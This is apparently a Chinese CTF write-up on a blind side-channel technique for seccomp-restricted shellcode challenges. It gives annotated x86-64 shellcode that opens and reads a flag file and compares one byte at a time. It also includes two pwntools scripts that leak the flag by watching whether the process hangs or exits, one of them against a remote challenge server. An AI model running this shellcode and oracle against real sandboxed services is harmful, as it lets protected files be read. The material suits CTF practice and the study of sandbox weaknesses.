侧信道攻击是一种非正常的攻击手段,是根据程序的反馈报错信息来参考的一种攻击方式

原理是讲 flag 文件中的字符读取到缓冲区,将文件中的字符一个字节一个字节的对比

使用前提:

1-输入的 shellcode 能够被执行

2-程序禁用了execve系统调用,和关闭了标准输出流才用必要进行使用,因为爆破所需要的时间较长

3-read、open、openat、readv、fread 都可以被使用,但是一定要确保可以打开文件并且 read 读取到

4-标准错误不能被关闭,我们需要更具系统的反馈信息进行循环判定

侧信道攻击其实是比较模板化的,基本可以套用以下公式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
mov r12, 0x67616c66    ; 将字符串 "flag" 的 ASCII 值加载到寄存器 r12 中
push r12 ; 将 r12 的值推送到栈上
mov rdi, rsp ; 将栈上的地址赋给寄存器 rdi
xor esi, esi ; 将 esi 寄存器清零
xor edx, edx ; 将 edx 寄存器清零
mov al, 2 ; 将系统调用号 2open)加载到寄存器 al 中
syscall ; 执行系统调用 open,打开文件名为 flag 的文件

mov rdi, rax ; 将 open 返回的文件描述符赋给 rdi
mov rsi, 0x10700 ; 将缓冲区地址加载到 rsi(缓冲区是用于存放 flag 内容)
mov dl, 0x40 ; 将读取的字节数加载到 dl(64 字节)
xor rax, rax ; 将 rax 寄存器清零
syscall ; 执行系统调用 read,读取 flag 内容到缓冲区

mov dl, byte ptr [rsi+{}] ; 将缓冲区中的某个字节加载到寄存器 dl
mov cl, {} ; 将输入参数 char 加载到寄存器 cl
cmp cl, dl ; 比较寄存器 cl 和 dl 的值
jz loop ; 如果相等,跳转到 loop 标签
mov al, 60 ; 将系统调用号 60(exit)加载到寄存器 al
syscall ; 执行系统调用 exit

loop:
jmp loop ; 无限循环

这个代码片段中的 {} 部分是通过 format(dis,char) 动态插入的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
io=0
def find(i, c):
global io
io=remote("node10.anna.nssctf.cn",26017)
#io=process('./pwn')
io.recvuntil(b'Please input your shellcode: \n')
sc=asm("""
mov rax, 0
movabs rax, 0x67616C66
push 0
push rax
push rsp
pop rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rsi, rdi
mov rdi, rax
xor rax, rax
mov rdx, 0x100
syscall
mov al, [rsp+{}]
cmp al, {}
jbe $
""".format(i, c))
io.send(sc)

try:
io.recv(timeout=3)
io.close()
return True
except EOFError:
io.close()
return False

flag = ''
i=6
while True:
l = 0x20
r = 0x80
while l <= r:
m = (l + r) // 2
if find(i, m):
r = m - 1
else:
l = m + 1

if l==0:
break
print(l)
flag += chr(l)
info("win!!!!!!!!!!!!!!!!!!!!!!!!! ")
info(flag)
i += 1

info("flag: "+flag)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
def exp(dis,char):
p.recvuntil("Welcome to silent execution-box.\n")
shellcode = asm('''
mov r12,0x67616c66
push r12
mov rdi,rsp
xor esi,esi
xor edx,edx
mov al,2
syscall
mov rdi,rax
mov rsi,0x10700
mov dl,0x40
xor rax,rax
syscall
mov dl, byte ptr [rsi+{}]
mov cl, {}
cmp cl,dl
jz loop
mov al,60
syscall
loop:
jmp loop
'''.format(dis,char))
p.send(shellcode)

flag = ""

for i in range(len(flag),35):
sleep(1)
log.success("flag : {}".format(flag))
for j in range(0x20,0x80):
p = process('./pwn')
try:
exp(i,j)
p.recvline(timeout=1)
flag += chr(j)
p.send('\n')
log.success("{} pos : {} success".format(i,chr(j)))
p.close()
break
except:
p.close()